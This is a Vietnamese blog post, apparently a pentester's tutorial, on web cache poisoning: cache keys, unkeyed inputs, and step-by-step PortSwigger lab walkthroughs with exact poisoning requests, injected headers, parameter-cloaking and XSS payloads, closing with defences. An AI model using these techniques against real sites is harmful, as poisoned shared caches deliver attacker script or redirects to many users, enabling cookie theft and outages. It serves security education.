   • HTTP 304 có thể ghi đè Headers của trình duyệt - một tính năng thường bị developer bỏ qua khi thiết kế hệ thống.

Solution Summary

References & Resources

• 📚 RFC 7234 - HTTP/1.1 Caching (Section 4.3.4: Updating Stored Responses)
• 🔗 MDN Web Docs - ETag
• 🔗 ExpressJS - res.send() and ETag generation

Last Updated: 2026-05-09

Trong các hệ thống web hiện đại, caching gần như là một phần không thể thiếu. Từ browser cache, reverse proxy cho tới CDN, tất cả đều được thiết kế để giảm tải cho server và cải thiện tốc độ phản hồi cho người dùng. Nhờ cache, những tài nguyên được request nhiều lần sẽ không cần phải xử lý lại từ đầu, giúp hệ thống hoạt động hiệu quả hơn rất nhiều.

Tuy nhiên, cũng giống như nhiều cơ chế tối ưu khác, cache không chỉ mang lại lợi ích mà còn tiềm ẩn rủi ro nếu bị cấu hình sai. Một trong những kiểu tấn công khai thác trực tiếp vào cơ chế này là Web Cache Poisoning – nơi attacker không cần phá logic chính của ứng dụng, mà chỉ cần “đầu độc” dữ liệu trong cache để ảnh hưởng đến hàng loạt người dùng khác.

Trong thực tế pentest, dạng lỗi này thường không lộ rõ như XSS hay SQLi thông thường. Nó đòi hỏi phải hiểu cách hệ thống cache hoạt động, quan sát kỹ HTTP headers, và thử nghiệm nhiều biến thể request để tìm ra sự khác biệt giữa “what affects response” và “what affects cache key”. Chính vì vậy, nhiều hệ thống production vẫn dính lỗi này dù đã được kiểm tra bảo mật.

Vậy Web Cache Poisoning thực sự hoạt động như thế nào, cách khai thác ra sao và làm thế nào để phòng tránh? Hãy cùng mình đi sâu vào trong các phần tiếp theo.

II. Web cache hoạt động như thế nào ?

Để hiểu được Web cache poisoning , trước tiên phải nắm rõ cách caching hoạt động trong thực tế .

Về cơ bản cache là 1 lớp trung gian nằm giữa client và server , có nhiệm vụ lưu trữ tạm thời các respone để phục vụ cho các request tương tự trong tương lại

Web caching là quá trình lưu trữ bản sao của các tài nguyên trên trang web , thường bao gồm là các video , hình ảnh , tệp CSS và JS trên máy chủ quản lý cache CDN ( Content delivery network ) hoặc là trên máy tính của người dùng. Khi người dùng truy cập lần đầu tiên ,trình duyệt sẽ tải toàn bộ tải nguyên từ máy chủ gốc . Cho tới lần truy cập cho lần sau , thì các tài nguyên đó sẽ được lưu trong Cache sẽ được sử dụng lại thay vì tải lại toàn bộ. Điều này làm cho trang web tải nhanh hơn cải thiện trải nghiệm cho người dùng .

1. Các loại cache phổ biến

Trong hệ thống web, cache thường được chia thành hai loại chính:

• Private cache: thường nằm ở phía browser, chỉ phục vụ cho một user cụ thể. Loại cache này có thể chứa dữ liệu liên quan đến session hoặc thông tin cá nhân, nên không được chia sẻ.
• Shared cache: nằm ở các tầng trung gian như reverse proxy hoặc CDN. Đây là loại cache phục vụ cho nhiều user khác nhau và cũng chính là mục tiêu chính của các cuộc tấn công Web Cache Poisoning.

Chính vì shared cache phục vụ nhiều người dùng, nên chỉ cần một response bị “đầu độc” thì hậu quả sẽ lan rộng ra toàn bộ những ai truy cập cùng resource đó.

2. Cache key – “trái tim” của cơ chế caching

Trong quá trình xử lý một HTTP request, cache server không lưu toàn bộ nội dung của request để so sánh cho những lần truy cập sau. Thay vào đó, nó trích xuất một tập hợp các thành phần nhất định từ request và sử dụng chúng để tạo thành một giá trị đại diện, gọi là cache key. Giá trị này đóng vai trò quyết định trong việc cache có thể tái sử dụng một response đã lưu hay không.

Thông thường, cache key được xây dựng từ các thành phần như đường dẫn URL, chuỗi truy vấn, và header Host. Khi một request mới được gửi đến, cache sẽ tạo cache key tương ứng và so sánh với các key đã tồn tại. Nếu tìm thấy một key trùng khớp, cache sẽ coi hai request là tương đương và trả về response đã được lưu trước đó mà không cần chuyển tiếp request đến origin server.

Tuy nhiên, không phải toàn bộ dữ liệu trong request đều được đưa vào cache key. Những thành phần còn lại, dù vẫn có thể ảnh hưởng đến cách server tạo response, nhưng không được sử dụng để định danh trong cache, được gọi là unkeyed inputs.

Những thành phần này tạo ra một khoảng chênh lệch quan trọng giữa hai quá trình: một bên là cách response được sinh ra, và bên còn lại là cách response được định danh trong cache.

Chính sự không đồng nhất này là nền tảng cho Web Cache Poisoning. Nếu attacker kiểm soát được một đầu vào có khả năng ảnh hưởng đến nội dung response nhưng lại không nằm trong cache key, họ có thể khiến server tạo ra một response mang nội dung độc hại. Nếu response đó được cache lưu lại, mọi request sau có cùng cache key sẽ nhận lại chính response này, bất kể chúng không chứa payload ban đầu.

Do đó, khi phân tích một hệ thống có sử dụng cache, điều quan trọng không chỉ là xem những gì ảnh hưởng đến response, mà còn phải xác định chính xác những gì được sử dụng để tạo cache key. Bất kỳ sự khác biệt nào giữa hai yếu tố này đều có thể trở thành điểm khởi đầu cho một cuộc tấn công.

3. Vai trò của HTTP headers trong caching

Caching không chỉ phụ thuộc vào cache server, mà còn bị điều khiển bởi các HTTP headers do server trả về. húng ta có thể nhận biết một trang web thực hiện caching tài nguyên hay không thông qua một số header trong response như X-Cache, Age, Cache-Control

• Cache-Control: xác định cách response được cache (public, private, max-age, no-store, …)
• Age: cho biết response đã được cache bao lâu
• Vary: chỉ định những header nào cần được đưa vào cache key

Ví dụ:

Cache-Control: public, max-age=600

Điều này có nghĩa là response có thể được cache và sử dụng trong vòng 10 phút.

Nếu cấu hình không đúng, ví dụ như thiếu header Vary cho những yếu tố ảnh hưởng tới response, cache có thể phục vụ sai nội dung cho user — hoặc tệ hơn là phục vụ nội dung đã bị attacker kiểm soát.

III. Xây dựng 1 cuộc tấn công Web cache poisoning

1. Detech

Bước đầu tiên chắc hẳn phải là phát hiện ra trang web có sử dụng web caching hay không , việc này thường khá đơn giản vì chúng t có thể chỉ cần quan sát nội dung của các header trả về trong respone. Dấu hiệu rõ ràng nhất thường là các header với giá trị tương ứng : Cache-control với từ khóa max-age, X-cache, với từ khóa miss với hit.

2. Tìm kiếm unkeyed inputs

Các unkeyed inputs đóng vai trò quyết định kết quả cuộc tấn công của chúng ta. Chúng ta sẽ cần tìm kiếm các giá trị unkeyed inputs được server lưu trữ và chứa trong tài nguyên cache trả về ở các lần request tiếp theo. Với số trường hợp cần thử khả lớn, nên chúng ta cần sử dụng các công cụ hỗ trợ, ví dụ như extension Param Miner của Burp Suite.

3. Poisoning

Sau khi xác định được mục tiêu và vị trí tấn công (unkeyed input), bước tiếp theo là thực hiện đầu độc (poisoning) bộ nhớ cache. Bước này phụ thuộc vào mục đích của kẻ tấn công và trường hợp cụ thể của trang web mà xây dựng các payload poisoning khác nhau. Thông thường có thể tạo ra các payload kiểm tra lỗ hổng XSS.

4. Check

Cuối cùng, chúng ta thực hiện kiếm tra payload đã được lưu trữ thành công hay chưa. Chẳng hạn trong response trả về (của request đang chứa payload), giá trị header X-Cache thay đổi từ hit sang miss, nghĩa là response này đã được server backend xử lý và trả về từ server gốc. Loại bỏ payload khỏi request và gửi thêm một lần, trong response trả về, nếu giá trị header X-Cache thay đổi từ miss sang hit và trong response vẫn chứa payload trong request trước, nghĩa là reponse nguy hiểm đã được hệ thống caching thành công.

Trong thực tế, việc tìm các unkeyed input thủ công khá tốn thời gian, vì nhiều thay đổi là rất nhỏ và khó nhận ra. Do đó, các công cụ như Param Miner trong Burp Suite thường được sử dụng để tự động fuzz header và phát hiện những input có ảnh hưởng đến response. Tuy nhiên, khi test trên hệ thống thật, cần cẩn thận sử dụng cache buster (ví dụ thêm param ngẫu nhiên) để tránh việc vô tình đầu độc cache của người dùng thật.

IV. Khai thác lỗ hổng Web cache poisoning

Khai thác lỗ hổng do sai sót trong thiết kế bộ nhớ cache.

Sau khi đã hiểu được vai trò của cache key và unkeyed inputs, bước tiếp theo là khai thác lỗ hổng này trong thực tế.

Một trong những kịch bản phổ biến nhất là khi unkeyed input được phản chiếu trực tiếp vào response mà không qua xử lý. Ví dụ, một số hệ thống sử dụng header như X-Forwarded-Host để xây dựng các URL động trong HTML. Nếu giá trị của header này được đưa thẳng vào response và không được xử lí an toàn, attacker có thể chèn payload vào đó. Khi response này được cache lại, tất cả người dùng truy cập cùng endpoint sẽ nhận nội dung đã bị chèn, dẫn đến các cuộc tấn công như XSS trên diện rộng

Để minh họa cho phương thức tấn công này thì mời các bạn xem qua bài lab sau đây trên PortSwigger

Mục tiêu của bài là khiến trình duyệt của nạn nhân thực thi alert(document.cookie) bằng cách đầu độc cache của trang chủ.

Trong bài lab này, mục tiêu là lợi dụng header X-Forwarded-Host để đầu độc cache và thực thi JavaScript trên trình duyệt nạn nhân.

Trước tiên, bật Burp Suite và truy cập trang chủ. Trong tab Proxy → HTTP history, lấy request GET của trang chủ và gửi sang Repeater để thao tác.

Để tránh ảnh hưởng cache thật trong quá trình test, thêm một tham số cache buster như ?cb=1234. Sau đó, thêm header:

X-Forwarded-Host: example.com

Gửi request và quan sát response. Có thể thấy giá trị của header này được dùng để build URL tuyệt đối cho file /resources/js/tracking.js. Khi gửi lại request nhiều lần và thấy xuất hiện X-Cache: hit, chứng tỏ response này đã bị cache dù header thay đổi → đây là unkeyed input.

Sau khi gửi request nhiều lần nhằm để xác nhận suy đoán thì mình thấy được server trả về như này

Tiếp theo, truy cập exploit server của lab và tạo một file đúng đường dẫn:

/resources/js/tracking.js

Với nội dung:

alert(document.cookie)

Sau đó quay lại Repeater, xóa cache buster và sửa header thành:

X-Forwarded-Host: <exploit-server-id>.exploit-server.net

Gửi request nhiều lần cho đến khi response trả về chứa domain exploit server và header X-Cache: hit. Lúc này cache đã bị đầu độc.

Cuối cùng, truy cập lại URL trang chủ trên trình duyệt để mô phỏng nạn nhân. Nếu payload chạy (hiện alert), nghĩa là khai thác thành công. Do cache trong lab chỉ tồn tại khoảng 30 giây, cần gửi request lặp lại để duy trì trạng thái poisoned nếu cần.

Qua bài tiếp theo là

Tấn công bộ nhớ cache web bằng cookie không được mã hóa

Ở bài này, thay vì header, điểm yếu nằm ở việc cookie ảnh hưởng đến response nhưng không nằm trong cache key.

Mở lab bằng Burp Suite và truy cập trang chủ. Quan sát response ban đầu sẽ thấy server set cookie fehost=prod-cache-01. Khi reload lại trang, giá trị của cookie này được phản ánh vào trong một đoạn JavaScript trong response.

Gửi request sang Repeater, thêm cache buster rồi thử sửa giá trị cookie thành chuỗi bất kỳ. Response sẽ phản hồi lại đúng giá trị đó ⇒ chứng tỏ cookie này ảnh hưởng trực tiếp đến nội dung trả về.

Tiếp theo, chèn payload XSS vào cookie, ví dụ:

fehost=abc"-alert(1)-"abc

Gửi request nhiều lần cho đến khi thấy payload xuất hiện trong response kèm X-Cache: hit. Lúc này response độc hại đã bị cache.

Truy cập lại trang trên trình duyệt, nếu alert(1) được thực thi thì khai thác thành công. Sau đó có thể tiếp tục gửi request để giữ cache luôn ở trạng thái poisoned cho đến khi nạn nhân truy cập.

Ý chính của lab: dù là cookie, nếu nó không được đưa vào cache key nhưng lại được dùng để build response, attacker hoàn toàn có thể biến nó thành điểm tiêm payload và phát tán qua cache.

Thực hành : Web cache poisoning with multiple headers

Ở bài này, một header đơn lẻ không đủ để khai thác. Cần kết hợp nhiều header để tạo ra response độc hại rồi đưa nó vào cache.

Mở lab bằng Burp Suite, truy cập trang và trong HTTP history tìm request tới /resources/js/tracking.js, sau đó gửi sang Repeater.

Thêm cache buster và thử X-Forwarded-Host: example.com nhưng sẽ thấy không có thay đổi đáng kể bởi vì nó đã được định nghĩa cache key rồi

Tiếp theo, thay bằng:

X-Forwarded-Scheme: http

Response sẽ trả về redirect 302 sang HTTPS. Điều này cho thấy server dùng header này để build URL redirect.

Bây giờ kết hợp cả hai:

X-Forwarded-Host: example.com
X-Forwarded-Scheme: nothttps

Lúc này header Location sẽ trỏ tới https://example.com/... ⇒ đã kiểm soát được URL redirect.

Để cho các bạn nào thắc mắc vì sao dùng nohttps thì đây là “mánh khóe” để vượt qua Cache Key.

Thông thường, các hệ thống Cache (như Cloudflare, Varnish) được cấu hình để phân biệt nội dung dựa trên một số yếu tố (Cache Key). Một cấu hình rất phổ biến là:

• Nếu yêu cầu là HTTPS -> Trả về trang A.
• Nếu yêu cầu là HTTP -> Trả về lệnh Redirect sang HTTPS.

Nếu bạn gửi X-Forwarded-Scheme: http, hệ thống Cache có thể nhận diện đây là một yêu cầu HTTP tiêu chuẩn và nó lưu kết quả Redirect đó vào một “ngăn chứa” dành riêng cho HTTP. Nó không ảnh hưởng đến những người dùng đang truy cập bằng HTTPS thật sự.

Tuy nhiên, khi bạn dùng nothttps:

1. Server gốc (Backend): Vẫn hiểu nothttps nghĩa là “không phải HTTPS” (giống như http), nên nó vẫn trả về lệnh Redirect kèm cái Host giả mạo (example.com).
2. Bộ phận Cache: Vì nothttps là một giá trị lạ, không nằm trong quy tắc phân loại Cache Key thông thường (thường chỉ phân biệt http và https). Cache có thể coi đây là một yêu cầu HTTPS bình thường và ghi đè (đầu độc) cái phản hồi Redirect độc hại đó vào bộ nhớ đệm của trang HTTPS chính thức.

Tóm lại:

• Dùng http để thử nghiệm logic của server.
• Dùng nothttps để đánh lừa bộ nhớ đệm, ép nó lưu trữ phản hồi sai lệch vào nơi mà nó không nên lưu, từ đó làm tất cả người dùng khác (dù dùng HTTPS thật) cũng bị redirect sang example.com

Tiếp theo, lên exploit server tạo file:

/resources/js/tracking.js

với payload:

alert(document.cookie)

Quay lại Repeater, sửa header:

X-Forwarded-Host: <exploit-server-id>.exploit-server.net
X-Forwarded-Scheme: nothttps

Gửi request nhiều lần cho đến khi thấy response chứa domain exploit server và X-Cache: hit ⇒ cache đã bị đầu độc.

Cuối cùng, reload trang chủ trên trình duyệt để mô phỏng nạn nhân. Nếu alert(document.cookie) chạy thì khai thác thành công. Do cache có thời gian sống ngắn, cần gửi request lặp lại để giữ trạng thái poisoned.

Ý chính: một số case cần chain nhiều unkeyed input lại với nhau thì mới tạo được response đủ điều kiện để cache và khai thác.

Thực hành: Tấn công làm nhiễm độc bộ nhớ cache web có chủ đích bằng cách sử dụng một tiêu đề không xác định.

Ở bài này, điểm khác biệt so với các lab trước là không chỉ poison cache, mà còn phải target đúng nhóm user cụ thể. Nguyên nhân là do server sử dụng header Vary, khiến một số header (ở đây là User-Agent) trở thành một phần của cache key. Nếu không khớp, payload sẽ không được serve cho victim.

Quá trình khai thác có thể tóm gọn như sau:

• Truy cập trang chủ, lấy request và dùng Param Miner để tìm input ẩn → phát hiện header X-Host.

• Gửi request sang Repeater, thêm cache-buster rồi thử X-Host: example.com → thấy header này được dùng để generate URL load file /resources/js/tracking.js.

• Chuẩn bị exploit server với file /resources/js/tracking.js chứa payload:

    alert(document.cookie)
  

• Sửa lại request:

    X-Host: <exploit-server>
  

  gửi đến khi thấy X-Cache: hit → đã poison cache thành công.

  

Đến đây vẫn chưa đủ, vì cache đang bị phân tách theo User-Agent.

• Tận dụng chức năng comment, chèn:

    <img src="https://<exploit-server>/foo">
  

  để ép victim gửi request về server của bạn.

• Mở log trên exploit server, chờ victim truy cập và lấy User-Agent của họ.
• Quay lại request trong Repeater:
  • thêm đúng User-Agent của victim
  • bỏ cache-buster
• Gửi lại request đến khi có X-Cache: hit.

Cuối cùng, khi victim truy cập trang, họ sẽ nhận đúng response đã bị poison theo User-Agent của họ và payload alert(document.cookie) sẽ được thực thi.

Điểm mấu chốt của lab này không nằm ở kỹ thuật inject, mà ở việc hiểu cách Vary ảnh hưởng đến cache key và cách điều khiển request để nhắm trúng đối tượng cụ thể.

Lab: Combining web cache poisoning vulnerabilities

Bài này không còn là một lỗ hổng đơn lẻ nữa, mà yêu cầu chain nhiều kỹ thuật lại với nhau. Ý tưởng chính là: poison một response chứa payload, nhưng vì victim dùng tiếng Anh (không trigger XSS), nên phải tìm cách ép họ chuyển sang ngôn ngữ khác rồi mới dính payload.

• Truy cập trang, dùng Param Miner → phát hiện 2 header quan trọng:X-Forwarded-Host và X-Original-URL.

• Test X-Forwarded-Host → thấy có thể control source của file:

    /resources/json/translations.json
  

  → đây là điểm inject.

  

• Chuẩn bị exploit server:
  • path: /resources/json/translations.json

  • thêm header:

      Access-Control-Allow-Origin: *
    

  • body JSON chứa payload XSS trong phần ngôn ngữ (ví dụ es).

• Gửi request:

    GET /?localized=1
    Cookie: lang=es
    X-Forwarded-Host: <exploit-server>
  

  → spam đến khi có X-Cache: hit

  → đã poison trang tiếng Tây Ban Nha.

Nhưng victim dùng tiếng Anh nên chưa dính.

• Quan sát thấy khi đổi ngôn ngữ, web redirect qua:

    /setlang/es
  

  và set cookie lang=es.

  

• Thử dùng:

    X-Original-URL: /setlang/es
  

  → không cache được (do có Set-Cookie).

• Nhưng nếu dùng:

    X-Original-URL: /setlang\es
  

  → server normalize → trả về 302 redirect

  → response này cache được

→ đây là cách ép user chuyển sang tiếng Tây Ban Nha.

Khi nhấn view details , thì alert sẽ được hiện ra và sẽ solve được bài lab

Chain exploit

1. Poison:

    GET /?localized=1
    + X-Forwarded-Host → load JSON độc hại
   

2. Ngay sau đó poison tiếp:

    GET /
    + X-Original-URL: /setlang\es
   

   → ép tất cả user sang tiếng Tây Ban Nha

Kết quả

• Victim truy cập /
• Bị redirect sang /setlang/es
• Trang load bản dịch từ JSON độc hại
• → trigger alert(document.cookie)

Khai thác các lỗ hổng trong quá trình triển khai bộ nhớ đệm

Trong các kỹ thuật web cache poisoning cơ bản, kẻ tấn công thường tận dụng các input không nằm trong cache key (unkeyed input) như header hoặc cookie để chèn payload. Tuy nhiên, cách tiếp cận này tuy hiệu quả nhưng nó chỉ là bước khởi đầu so với những gì ta có thể làm được với lỗ hổng này

Trong thực tế, nhiều hệ thống cache tồn tại những sai lệch tinh vi trong cách xây dựng cache key, mở ra một hướng khai thác mạnh hơn: tấn công thông qua cache implementation flaws.

1. Cache key không phản ánh chính xác request

Theo lý thuyết, cache key được xây dựng từ các thành phần của request như:

• URL path
• Query string
• Host header

Ví dụ:

GET /?param=abc

→ Cache key kỳ vọng: / ?param=abc

Tuy nhiên, nhiều hệ thống cache thực hiện các bước xử lý bổ sung trước khi tạo key, chẳng hạn:

• Loại bỏ toàn bộ query string
• Loại bỏ một số query parameter
• Bỏ port trong Host header
• Chuẩn hóa (normalize) encoding

Kết quả là:

Cache key chỉ là phiên bản đã được biến đổi của request, không phải dữ liệu gốc mà ứng dụng xử lý.

2. Sai lệch giữa cache và ứng dụng (desynchronization)

Lỗ hổng xuất hiện khi:

• Cache coi hai request là giống nhau (cùng cache key)
• Nhưng ứng dụng backend lại xử lý chúng khác nhau

Điều này dẫn đến việc một response độc hại có thể được lưu cache và phục vụ cho nhiều người dùng khác.

Chúng ta có thể giả sử như

GET /
Host: victim.com:1337

Backend sử dụng giá trị đầy đủ của Host để tạo redirect:

HTTP/1.1 302 Found
Location: https://victim.com:1337/en

Nếu cache loại bỏ phần port khi tạo key, response này sẽ được lưu với key tương ứng với victim.com.

Bước 2 : Người dùng truy cập bình thường

GET /
Host: victim.com

Cache trả về response đã lưu:

Location: https://victim.com:1337/en

Kết quả:

• Người dùng bị redirect đến một endpoint không hợp lệ
• Có thể dẫn đến denial-of-service hoặc chuyển hướng độc hại

3. Phương pháp khai thác tổng quát

Để khai thác nhóm lỗ hổng này, cần thực hiện ba bước chính:

3.1 Xác định cache oracle

Một endpoint có thể cho biết response đến từ cache hay backend, ví dụ:

• Header như X-Cache: hit/miss
• Header Age
• Thời gian phản hồi

3.2 Phân tích cách cache xử lý input

Mục tiêu là tìm ra các biến đổi trong quá trình tạo cache key:

• Query string có bị loại bỏ không
• Có parameter nào bị bỏ qua không
• Host có bị chuẩn hóa không
• Encoding có bị normalize không

Thực hiện bằng cách gửi nhiều request tương tự và so sánh phản hồi.

3.3 Tìm “gadget” để khai thác

Gadget là nơi ứng dụng sử dụng dữ liệu đầu vào, ví dụ:

• Reflected XSS
• Open redirect
• Dynamic script import
• JSONP callback

Khi kết hợp gadget với sai lệch cache key, có thể biến các lỗ hổng “không khai thác được” thành tấn công thực tế.

5. Một số kỹ thuật phổ biến

• Header Manipulation: Chèn mã độc vào các tiêu đề HTTP (như X-Forwarded-Host) mà ứng dụng phản hồi trực tiếp vào nội dung trang (thường dẫn đến Cross-Site Scripting (XSS)).
• Fat GET requests: Gửi yêu cầu GET nhưng kèm theo thân tin nhắn (body) chứa các tham số độc hại. Một số hệ thống cache chỉ kiểm tra URL nhưng máy chủ ứng dụng lại xử lý dữ liệu trong body.
• Cache Parameter Cloaking: Lợi dụng sự khác biệt trong cách máy chủ cache và máy chủ ứng dụng phân tách các tham số (ví dụ: dùng dấu ; thay vì &) để ẩn giấu các tham số độc hại.
• Unkeyed Port: Thêm một cổng (port) không hợp lệ vào tiêu đề Host. Nếu cache bỏ qua cổng này khi tạo khóa nhưng ứng dụng lại sử dụng nó để tạo URL, nó có thể gây ra lỗi Denial of Service (DoS) cho mọi người dùng truy cập trang đó.

Unkeyed query string

Cache bỏ qua toàn bộ query string, nhưng backend vẫn xử lý:

GET /?q=<payload>

→ Có thể biến reflected XSS thành stored XSS thông qua cache.

Lab: Web Cache Poisoning via Unkeyed Query String

Trong bài lab này, ứng dụng tồn tại một lỗi phổ biến nhưng nguy hiểm: query string không được đưa vào cache key. Điều này cho phép kẻ tấn công chèn payload vào response, sau đó khiến cache phục vụ nội dung độc hại cho những người dùng truy cập URL hợp lệ.

Thông thường, cache sẽ sử dụng toàn bộ URL (bao gồm query string) để tạo cache key. Tuy nhiên trong lab này:

• Cache bỏ qua query string
• Backend vẫn xử lý và phản hồi dựa trên query

Điều này tạo ra sự không nhất quán:

• Cùng một cache key
• Nhưng response có thể khác nhau tùy theo query

Các bước khai thác

Bước 1: Xác định query string không nằm trong cache key

Truy cập trang chủ, gửi request vào Burp Repeater và thử thêm các tham số bất kỳ:

GET /?test=123
GET /?test=456

Quan sát thấy:

• Response không thay đổi
• Header trả về X-Cache: hit

Điều này cho thấy query string không ảnh hưởng đến cache key.

Bước 2: Sử dụng cache buster hợp lệ

Vì query không dùng để bust cache được, cần sử dụng header:

Origin: https://abc.com

Header này giúp tạo request mới (cache miss) mà không ảnh hưởng logic ứng dụng.

Bước 3: Kiểm tra khả năng

Gửi request:

GET /?input=hello

Nếu giá trị hello xuất hiện trong response → tồn tại reflection.

Bước 4: Inject payload XSS

Thực hiện chèn payload:

GET /?evil='/><script>alert(1)</script>
Origin: https://abc.com

Gửi request nhiều lần cho đến khi response trả về:

X-Cache: hit

Điều này chứng tỏ response chứa payload đã được cache.

Bước 5: Xác nhận cache đã bị nhiễm

Gửi lại request không có query:

GET /
Origin: https://abc.com

Nếu vẫn thấy payload trong response → cache đã bị poison thành công.

Bước 6: Khai thác đối với nạn nhân

• Loại bỏ header cache buster (Origin)
• Tiếp tục gửi request chứa payload để duy trì trạng thái cache
• Khi nạn nhân truy cập trang chủ → payload sẽ được thực thi

Kết luận

Lỗ hổng xuất phát từ việc:

• Cache không tính query string vào cache key
• Backend vẫn xử lý query và sinh response động

Điều này cho phép attacker:

• Biến một lỗ hổng XSS phản chiếu thành XSS lưu trữ thông qua cache
• Ảnh hưởng đến tất cả người dùng truy cập trang mà không cần tương tác

Parameter cloaking

Khai thác sự khác biệt trong cách parse query:

GET /?a=1?b=payload

• Cache: thấy hai parameter, loại bỏ b
• Backend: coi toàn bộ là giá trị của a

Parameter Cloaking – Khai thác sai lệch parser giữa cache và backend

Trong lab này, điểm mấu chốt không nằm ở việc tìm XSS, mà nằm ở việc làm cho cache và backend “hiểu request theo hai cách khác nhau”. Cụ thể, tham số utm_content bị loại khỏi cache key, trong khi backend vẫn xử lý đầy đủ nội dung của nó. Điều này mở ra khả năng “giấu” payload bên trong tham số tưởng như vô hại này.

Trang web sử dụng một file JavaScript /js/geolocate.js theo cơ chế JSONP, với tham số callback quyết định tên hàm sẽ được thực thi. Ví dụ, request:

GET /js/geolocate.js?callback=setCountryCookie

sẽ trả về:

setCountryCookie({...})

Vấn đề là nếu bạn chỉ sửa callback trực tiếp thì payload sẽ không lan sang người khác, vì tham số này nằm trong cache key. Do đó, cần một cách để ghi đè giá trị callback ở backend nhưng vẫn giữ cache key “sạch”.

Đây là lúc parameter cloaking phát huy tác dụng. Cache chỉ parse tham số dựa trên &, còn backend (trong trường hợp này giống hành vi của Rails) lại hiểu thêm cả dấu ; là delimiter. Vì vậy, nếu bạn gửi request như sau:

GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1)

thì cache sẽ nhìn thấy request với key tương đương:

/js/geolocate.js?callback=setCountryCookie

tức là hoàn toàn bình thường. Tuy nhiên, backend lại parse thành hai tham số callback, và theo quy tắc xử lý, giá trị cuối sẽ được ưu tiên. Kết quả là response thực tế trở thành:

alert(1)({...})

Lúc này, bạn đã có một response chứa payload nhưng vẫn mang cache key hợp lệ. Chỉ cần gửi request này lặp lại cho đến khi thấy phản hồi có X-Cache: hit, nghĩa là cache đã lưu phiên bản độc hại.

Từ đây, nạn nhân không cần truy cập URL chứa payload. Họ chỉ cần load trang bình thường, trình duyệt sẽ tự động import /js/geolocate.js, và cache sẽ trả về phiên bản đã bị đầu độc. Payload được thực thi ngay lập tức.

Điểm đáng chú ý của lab này là payload không được inject trực tiếp vào tham số nguy hiểm, mà được “giấu” trong một tham số bị bỏ qua bởi cache. Chính sự không nhất quán trong cách parse giữa hai thành phần đã biến một input tưởng như vô hại thành điểm khai thác.

Ngoài ra còn 1 vài kĩ thuật khác mà bạn có thể tham khảo như sau :

Duplicate parameter override

GET /?a=1&b=2;a=payload

• Cache: a=1
• Backend: a=payload (ưu tiên giá trị sau)

Normalization

Cache chuẩn hóa encoding:

param="><script>
param=%22%3E%3Cscript%3E

→ Hai request có cùng cache key nhưng backend xử lý khác nhau.

Fat GET request

Gửi body trong GET request:

GET /?a=1
(body) a=payload

• Cache dùng query string
• Backend dùng body

Cache key injection

Nếu cache key được ghép từ nhiều thành phần mà không escape đúng cách, có thể tạo collision giữa các request khác nhau.

6. Cache rules – điều kiện quyết định cái gì được cache

Bên cạnh cache key, một yếu tố quan trọng khác ảnh hưởng trực tiếp đến hành vi của cache là cache rules. Nếu cache key quyết định request nào giống nhau, thì cache rules sẽ quyết định response nào được phép lưu lại và lưu trong bao lâu.

Trong thực tế, cache không lưu tất cả mọi thứ. Nó thường được cấu hình để chỉ cache những tài nguyên “an toàn”, chủ yếu là static content – những thứ ít thay đổi và không chứa thông tin nhạy cảm. Ngược lại, các nội dung động (dynamic content) như profile user, đơn hàng, session data… thường không nên bị cache để tránh rò rỉ dữ liệu.

Tuy nhiên, chính cách định nghĩa các rule này lại là nơi phát sinh vấn đề.

Các loại Cache rule phổ biến :

Trong nhiều hệ thống (đặc biệt là CDN), cache rules thường dựa vào pattern của URL. Một số dạng phổ biến bao gồm:

• Static file extension rules

  Cache sẽ lưu response nếu URL kết thúc bằng các đuôi quen thuộc như .css, .js, .png, .jpg…

  → Ví dụ:

    /assets/app.js
  

• Static directory rules

  Cache sẽ áp dụng cho các đường dẫn bắt đầu bằng prefix nhất định, ví dụ /static, /assets, /images…

  → Ví dụ:

    /static/logo.png
  

• File name rules Một số file cụ thể gần như luôn được cache vì ít thay đổi, ví dụ:

  • robots.txt
  • favicon.ico

Ngoài ra, một số hệ thống còn có custom rules dựa trên:

• query parameters
• header
• hoặc thậm chí phân tích động của request

Nghe thì hợp lý, nhưng vấn đề xuất hiện khi:

Cache áp dụng rule dựa trên hình thức của URL, trong khi server lại xử lý request dựa trên logic bên trong.

Ví dụ:

/profile/123/test.css

• Cache thấy .css → nghĩ là file tĩnh → cho phép cache
• Server lại ignore phần .css → vẫn trả về dữ liệu profile user

Kết quả:

• Response chứa thông tin nhạy cảm bị cache
• Các user khác có thể truy cập lại cùng URL và nhận dữ liệu đó

Đây chính là nền tảng của Web Cache Deception.

Điều quan trọng là phải phân biệt giữa tấn công đánh lừa bộ nhớ cache web và tấn công làm nhiễm độc bộ nhớ cache web. Mặc dù cả hai đều khai thác cơ chế bộ nhớ cache, nhưng chúng thực hiện điều đó theo những cách khác nhau:

• Tấn công đầu độc bộ nhớ cache web bằng cách thao túng các khóa bộ nhớ cache để chèn nội dung độc hại vào phản hồi được lưu trong bộ nhớ cache, sau đó nội dung này sẽ được gửi đến người dùng khác.
• Tấn công đánh lừa bộ nhớ cache web lợi dụng các quy tắc của bộ nhớ cache để lừa bộ nhớ cache lưu trữ nội dung nhạy cảm hoặc riêng tư, từ đó kẻ tấn công có thể truy cập được.

Vì bài viết này cũng khá dài rồi nên mình hẹn các bạn về chủ đề về Web Cache Deception vào bài viết sau nhé còn giờ thì mình cùng đi tới biện pháp phòng vệ cho lỗ hổng này

V.Cách phòng ngừa các lỗ hổng đầu độc bộ nhớ cache web

Để giảm thiểu rủi ro từ các kỹ thuật web cache poisoning, ngoài những cấu hình cơ bản, cần nhìn nhận vấn đề ở mức kiến trúc tổng thể thay vì chỉ vá từng điểm riêng lẻ.

• Chỉ cache nội dung thực sự tĩnh. Cẩn thận vì nếu attacker điều khiển được cách load resource (qua header), thì JS/CSS cũng có thể bị inject như bài lab demo ở rteen.
• Khi dùng CDN / bên thứ ba, cần kiểm soát header. Những header không cần thiết như X-Forwarded-* nên tắt, vì đây là nguồn gây cache poisoning phổ biến.
• Không nên loại bỏ tham số khỏi cache key chỉ để tối ưu. Nếu backend vẫn dùng thì sẽ thành unkeyed input → dễ bị exploit. Nên rewrite hoặc chuẩn hóa request.
• Tránh fat GET request (GET có body / override method) vì có thể làm lệch giữa cache và backend.
• Dùng Cache-Control hợp lý: private hoặc no-store cho dữ liệu nhạy cảm để tránh bị cache ngoài ý muốn.
• Đảm bảo mọi input ảnh hưởng đến response đều nằm trong cache key.
• Validate input chặt chẽ, không phản hồi trực tiếp dữ liệu từ header/query.
• Có thể dùng WAF để phát hiện request bất thường (đặc biệt là header manipulation).
